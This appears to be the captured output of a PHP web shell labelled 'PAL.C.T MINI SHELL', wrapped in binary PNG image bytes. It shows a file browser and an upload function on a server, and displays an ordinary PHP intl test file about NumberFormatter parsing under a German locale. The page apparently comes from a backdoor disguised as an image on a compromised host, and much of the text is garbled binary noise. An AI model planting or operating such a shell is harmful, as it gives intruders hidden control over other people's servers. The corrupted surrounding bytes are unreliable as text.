php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/intl/tests/
upload
files >> //opt/php-7.0.1/ext/intl/tests/bug14562.phpt

--TEST--
Bug #14562 NumberFormatter breaks when locale changes
--SKIPIF--
<?php if( !extension_loaded( 'intl' ) ) print 'skip'; ?>
--FILE--
<?php

function ut_main()
{
	$res_str = "";
	$de_locale="de_DE.UTF-8";
	$fmt = new NumberFormatter("de", NumberFormatter::DECIMAL );
	$numeric = $fmt->parse("1234,56");
	$res_str .= "$numeric\n";
	setlocale(LC_ALL, $de_locale);
	$fmt = new NumberFormatter("de", NumberFormatter::DECIMAL );
	$numeric = $fmt->parse("1234,56");
	setlocale(LC_ALL, "C"); // reset for printing
	$res_str .= "$numeric\n";
    	return $res_str;
}

include_once( 'ut_common.inc' );
ut_run();

?>
--EXPECT--
1234.56
1234.56
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`